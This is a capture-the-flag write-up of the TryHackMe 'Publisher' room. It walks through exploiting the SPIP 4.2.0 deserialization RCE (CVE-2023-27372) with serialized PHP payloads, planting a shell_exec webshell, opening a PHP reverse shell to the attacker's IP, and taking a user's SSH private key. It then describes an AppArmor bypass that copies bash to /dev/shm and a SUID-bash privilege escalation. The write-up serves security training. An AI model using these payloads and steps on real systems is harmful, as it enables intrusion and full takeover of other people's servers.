💻
TryHackMe Writeups
  • Dodge
  • Reset
  • Hack Smarter Security
  • Creative
  • CyberLens
  • Include
  • Airplane
  • mKingdom
  • Publisher
  • The London Bridge
  • Pyrat
  • Cheese CTF
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Foothold
  • Lateral Movement
  • Further Enumeration
  • Privilege Escalation
  • Modifying AppArmor Rules (Optional)

Publisher

Test your enumeration skills on this boot-to-root machine.

PreviousmKingdomNextThe London Bridge

Last updated 8 months ago

This work by Manav G Krishna is licensed under

Machine IP: 10.10.141.14

Hosts file entry: echo '10.10.141.14 publisher.thm' | sudo tee -a /etc/hosts

Nmap Scan:

nmap -p- -A -v --min-rate 100 -oN publisher_thm -Pn publisher.thm

Nmap scan report for publisher.thm (10.10.141.14)
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 41.776 days (since Sun May 19 18:17:00 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   156.74 ms 10.11.0.1
2   156.12 ms publisher.thm (10.10.141.14)

The scan results shows that we have two ports open, that is port 22 & 80 . On port 80 an Apache web server is running.

Enumeration

Checking out port 80:

Directory Busting:

Command:

dirsearch -u http://publisher.thm/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

There is a path named /spip. We can check this out:

Towards the end of this page that contains the blog, we have a dialog box where we can type in and send messages. We can test for XSS here by using a simple payload:

Now let's set up a netcat listener on port 80. If the above payload works we should be getting a connection back on our listener after clicking on the button that lets us preview how the message looks before we confirm it, to get it posted. This basically shows that the server has reached out to our machine. The IP specified in the payload is the tun0 interface IP.

And we indeed get a connection, so we have successful XSS:

But this XSS is pretty much pointless as we do not have any further attack vectors to amplify it's impact.

We can see what Wappalyzer tells us:

The CMS (Content management system) being used is SPIP - 4.2.0.

The same information can be also fetched by checking the source code of the /spip page:

Now we can try to find some exploits for this version of the CMS.

Exploitation

Finding exploits:

SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. Since 4.2.0 is what is being used in our case, it could be potentially be vulnerable to this exploit. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.

It is possible to inject a serialized PHP string containing PHP code into the variable $_POST['oubli'] when resetting a password on the endpoint /spip.php?page=spip_pass in order to have an RCE on the server.

The regex is used in the protege_champ() function is flawed:

return $texte; //$texte = $_POST['oubli']

The regex pattern filters out strings that do not start with a:, b:, i:, or s: followed by digits and ended with : or ;. We can make use of the s specifier that represents a string in PHP, to use PHP payloads, a serialized string.

The endpoint:

A basic payload:

s:19:"<?php phpinfo(); ?>";  //19 is the length of the string

This payload matches the regex and when the unserialize function gets called without proper validation, it will execute our arbitrary code.

Intercepted Request in Burp:

Testing the payload:

URL encoded payload:

s%3a19%3a"<%3fphp+phpinfo()%3b+%3f>"%3b

We now have successful RCE.

Using a webshell:

<?php echo shell_exec($_GET['cmd']); ?>

We have to firstly find the length of the above webshell to make use of it as a payload. A script to achieve this:

<?php
$string = '<?php echo shell_exec($_GET["cmd"]); ?>';
echo strlen($string);
?>

The length is 39.

The payload:

s:39:"<?php echo shell_exec($_GET['cmd']); ?>";

URL encoded payload:

s%3a39%3a"<%3fphp+echo+shell_exec($_GET['cmd'])%3b+%3f>"%3b

Sending the request & checking out the webshell:

We can see the output of the id command in the response.

Foothold

Using a reverse shell in the webshell:

php -r '$sock=fsockopen("10.11.75.84",443);exec("sh <&3 >&3 2>&3");'  //The IP here is the tun0 interface IP

URL encoded:

php+-r+'$sock%3dfsockopen("10.11.75.84",443)%3bexec("sh+<%263+>%263+2>%263")%3b'

Setting up a listener on port 443:

We have got a connection as www-data.

Lateral Movement

Checking out the /home directory:

There is a user named think.

We get the user flag in think's home directory. The flag file's owner and group is root. It has read (r) permissions for others and due to this we as www-data are able to cat out the flag.

We can now get inside the .ssh directory:

The private key of the user think is present and we can read it. This can be used to SSH in as think, post putting in to a file on our attacker machine:

Command:

ssh think@publisher.thm -i id_rsa

We are now think.

Further Enumeration

Checking for binaries that have the SUID bit set:

Command:

find / -perm -u=s -type f 2>/dev/null

We can see that a custom binary named run_container has the SUID bit set and it is located within the /usr/sbin directory.

Checking out the binary:

The owner of this binary is root. Due to the bit being set when this binary is run, it will run as the owner, that is root. We have now found out the path to get to root.

Upon running it we get an error from a file named run_container.sh that is present within the /opt directory. This means that the binary is running that script. Confirming the same:

We can also use utilities like xxd, hexdump etc. to analyze a binary file like the one in this case.

Checking out the /opt directory and the script:

Upon trying to list out the contents of the /opt directory we get a Permission Denied error:

This indeed seems strange.

The owner and the group is root, but others have execute (x) permissions on this directory and the user think falls under others in this case and hence we should have been able to list out the contents of the /opt directory, but we are denied.

The script file's owner and group are both root and we as the user think has read, write & execute permissions on the file as think falls under others.

We are able to read the file as expected:

But we aren't able to write into it even though the user think had write permissions on it:

Yet again we are facing the same issue that we had encountered with the /opt directory.

This means that there is something running on the machine that is making the file permissions too under it's control and restricting us. The best way to see what exactly could be going on is to see what services are running on the machine.

Checking out running services:

Command:

service --status-all | grep '+'

We can see that apparmor is running. Apparmor is a Linux security module used to restrict an applications capabilities based on their apparmor profiles. The presence of this could be the reason why we aren't able to list out contents of the /opt directory.

Apparmor profiles are usually saved in /etc/apparmor.d/. Checking out this directory:

There is an apparmor profile for the ash binary. Ash is a lightweight and efficient shell interpreter in Unix-like operating systems. This leads us to think that we, as the user think, are possibly on an ash shell and not on the default bash.

Checking out the shell environment:

Commands:

ps -p $$ -o args=
getent passwd think

The output of these commands shows that we are indeed on an ash shell.

Now let us check out the apparmor profile for ash:

#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}

Explanation:

/usr/sbin/ash flags=(complain): This shows that the profile for the ash binary is in complain mode, where violations are logged but not enforced/blocked.

The deny rules:

deny /opt/ r,    //Denies read access to the /opt directory alone but not it's contents
deny /opt/** w,  //Denies immediate write access to the /opt directory along with it's subdirs
deny /tmp/** w,  //Denies immediate write access to the /tmp directory inluding it's subdirs
deny /dev/shm w, //Denies write access to the /dev/shm directory alone but not it's contents (Can't rename the shm directory)
deny /var/tmp w, //Denies write access to the /var/tmp directory alone but not it's contents (Can't rename the tmp directory)
deny /home/** w, //Denies immediate write access to the /home directory along with it's subdirs

We now know exactly why we weren't able to list the contents of the /opt directory and also why we couldn't write into the run_container.sh file even though the file permissions was in our favor with the shell being ash.

Note:

Deny rules in profiles are enforced/blocked even in complain mode.

The allow rules:

/usr/bin/** mrix,  //Allows read, inherit and execute (ix) for all binaries within the /usr/bin directory
/usr/sbin/** mrix, //Allows read, inherit and execute (ix) for all binaries within the /usr/sbin directory
owner /home/** rix, //Allows read, inherit and execute (ix) for all the contents within the /home directory owned by their respective users

Due to inheritance in the above allow rules, everything within those mentioned directories will be under the restrictions of the ash profile, which are nothing but the deny rules.

AppArmor Bypass:

Thought process:

To bypass the restrictions we have on the ash shell that we are currently on as the user think, we can use a bash shell. We can try different ways to achieve the same.

Note:

I will demonstrate three methods to obtain a bash shell and explain why only one of these methods works. Additionally, I will provide reasons why the other two methods fail.

First Method:

To get a bash shell we can just type in bash:

Now we are in a bash shell environment.

Now let us try to list out contents of the /opt directory:

It didn't work.

That means we still aren't able to bypass the ash's apparmor restrictions even though we were on a bash shell and not on an ash. This is because when we typed in bash, the bash that got executed was from the /usr/bin/ directory (The shell checks the $PATH environment variable when we type in bash and it runs it from the first directory that it is found in, exactly why the which command gave us /usr/bin/bash) and due to the inheritance in this allow rule: /usr/bin/** mrix, the bash shell that we got was still under the restrictions of the profile that is, the deny rules so the deny read rule on the /opt directory was applied.

Second Method:

Before we get started, let us get back to the ash shell:

Now type in /bin/bash. Upon doing this, the bash should be executed from within the /bin directory.

Again let us try to list out the contents of the /opt directory:

It didn't work, which at this point seems strange as we executed bash from the /bin directory and ash's apparmor profile has no rule that restricts anything being run from the /bin directory.

But upon using realpath, we notice that it outputs /usr/bin/bash:

Command:

realpath /bin/bash

This means there is mostly a symbolic link case here as realpath resolves symbolic links present, if any and then it outputs the final absolute path.

Now we can fetch symbolic links present on the machine:

Command:

find / -type l 2> /dev/null

We can see that /bin directory has a symlink. Checking it out:

There is a symlink for /bin that points to usr/bin. Now we know why the realpath output was /usr/bin/bash even though we had typed in /bin/bash. Due to the symlink it actually ran /usr/bin/bash, that is, /bin/bash got resolved to /usr/bin/bash. So the bash shell that we got was still under the restrictions of the ash's apparmor profile's deny rules due to the concept of inheritance that was used in this allow rule: /usr/bin/** mrix.

Third Method:

Once again we get back to the ash shell:

Now we can try copying the bash binary to a directory where we have write permissions on (A directory that is not restricted at all/not fully restricted according to the apparmor profile for ash) and it can be run from there. This time we should be able to bypass the restrictions as we would have a bash shell that is fully independent of the apparmor profile for ash.

The /tmp directory that is always universally writeable can't be used in our case to place the bash binary, as the profile has a deny rule (deny /tmp/** w) that prevents us from directly writing within it in the first place.

An other such directory that is world writable is the /dev/shm. It is true that there is a deny rule on this directory based on the profile (deny /dev/shm w), but it doesn't restrict us from writing within it. As mentioned before this rule only restricts us from the renaming the /shm directory. If the rule was: deny /dev/shm/* w, we wouldn't have been able to write directly within it.

Placing the bash binary within the /dev/shm directory:

We are able to copy the bash binary to /dev/shm because we as the user think has read permissions on the bash binary itself as we fall under others, and due to the fact that /dev/shm is writable:

Running it:

Now we are able to list out the contents of the /opt directory:

This shows that we have successfully bypassed AppArmor's security restrictions that affected the ash shell that we as the user think was on by default.

Privilege Escalation

We should be able to write into the run_container.sh file because, now this deny rule: deny /opt/** w stands completely pointless and we have the permissions to write into that file as others.

Now is when we take advantage of the SUID bit set on the run_container binary.

Thought process:

The run_container binary when run, will run as root due to the SUID bit as explained before and this binary is running the run_container.sh file, on which we can write into now. The simplest way to spawn a root shell is by setting the SUID bit on the bash binary that is owned by root (by default) and then by running bash in privileged mode. All we have to do is write in the command to set the SUID bit on bash into the run_container.sh file and when the binary is run, it will set the bit on bash.

Writing into run_container.sh:

Command:

echo 'chmod u+s /bin/bash' > run_container.sh

Running the run_container binary:

The SUID bit is now set.

Spawning a root shell:

Command:

bash -p

The root flag can be fetched from the /root directory.

Room solved!!

Modifying AppArmor Rules (Optional)

Since we are now root, we can edit the apparmor profile for ash by tweaking the rules to see how differently apparmor reacts to the changes made.

Removing inheritance from the /usr/bin/ allow rule:

The rule is now changed to: /usr/bin/** mr. Also notice that I haven't changed any other rule in the profile.

Now after making the changes, the profile must be loaded for the changes to take effect. When this command is run, it loads the specified AppArmor profile into the AppArmor kernel module:

Command:

apparmor_parser -r /etc/apparmor.d/usr.sbin.ash

Now we just exit out of the root shell and we are on the bash shell that was run from /dev/shm directory. We exit out of that too on the default ash shell:

Now let us run /bin/bash again and this time the bash shell that we get would not be under the restrictions of the ash's apparmor profile as even though due to the symlink, running /bin/bash actually runs bash from the /usr/bin/ directory, since the inheritance is removed from the allow rule (/usr/bin/** mr), the bash binary within /usr/bin/ won't inherit/won't be restricted by the deny rules in the profile.

As expected we are able to list out the contents of the /opt directory.

Typing in bash too will work now as it will fetch the bash binary based on the $PATH variable as mentioned before, so it will be fetched from the /usr/bin/ directory itself and since there is no more inheritance on the bash binary within this directory, the bash shell won't be under any restrictions.

Let us firstly exit out of the /bin/bash shell and exit again onto the ash shell. Now we are able to list out the contents of the /opt directory once again:

CC BY-NC 4.0
PublisherTryHackMe
Room Link
GitHub - nuts7/CVE-2023-27372: SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.GitHub
CVE-2023-27372
AppArmor | HackTricks
TryHackMe | gravereaper2038TryHackMe
Profile Link
Logo
Logo
Logo
Logo
oubli parameter
id command
Page cover image